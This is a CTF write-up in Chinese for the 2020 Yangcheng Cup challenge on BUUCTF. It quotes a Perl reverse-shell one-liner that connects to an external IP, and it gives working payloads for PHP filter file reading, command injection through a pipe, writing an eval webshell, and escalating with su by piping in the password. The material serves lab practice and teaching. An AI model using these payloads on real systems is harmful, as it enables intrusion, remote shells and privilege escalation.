环境:
buuctf
前置知识:
php伪协议读文件
linux命令
蚁剑连接一句话木马
官方wp
先放官方wp,写的比较简易。
GitHub - gwht/2020YCBCTF: 2020羊城杯官方writeup及源码
system('perl -e \'use
Socket;$i="39.108.164.219";$p=60007;socket(S,PF_INET,SOCK_STREAM,getprotobyna
me("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -
i");};\'');
解题
0.遇到回显:Sorry, only people from GWHT are allowed to access this website.23333
说明要求 Cookie: pass=GWHT
1.php伪协议
/?file=php://filter/read=convert.iconv.utf-8.utf-16/resource=GWHT.php
2.用|来绕过命令
/?file=GWHT.php&count='|ls||'
3.直接命令执行看不到flag,命令执行写马
?file=GWHT.php&count='|echo "<?= eval($_POST['cmd'])?>" > a.php||'
4.蚁剑连接
http://11e23de7-ded3-4d42-aec4-c3f33d1e3a45.node5.buuoj.cn:81/a.php
密码:cmd
5.登进去 根目录没有flag
两种方法:
a.手动翻找
b.打开蚁剑命令行 find / -name flag*
但是这个直接执行不了
所以用 find /GWHT -name flag*
直接读flag.txt是不行的,没有权限。
6.手动翻找其他线索
https://www.somd5.com/
877862561ba0162ce610dd8bf90868ad414f0ec6
GWHTCTF #是用户的密码
7.直接切换用户不行,因为蚁剑shell不是完整tty
两种方法:
a.如何将简单的Shell转换成为完全交互式的TTY
如何将简单的Shell转换成为完全交互式的TTY-腾讯云开发者社区-腾讯云
b.直接执行命令
su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'
但是报错,所以
c.通过管道符传输密码
printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'
flag{c0d6db50-40f4-4ccf-bc98-8115c6292f50}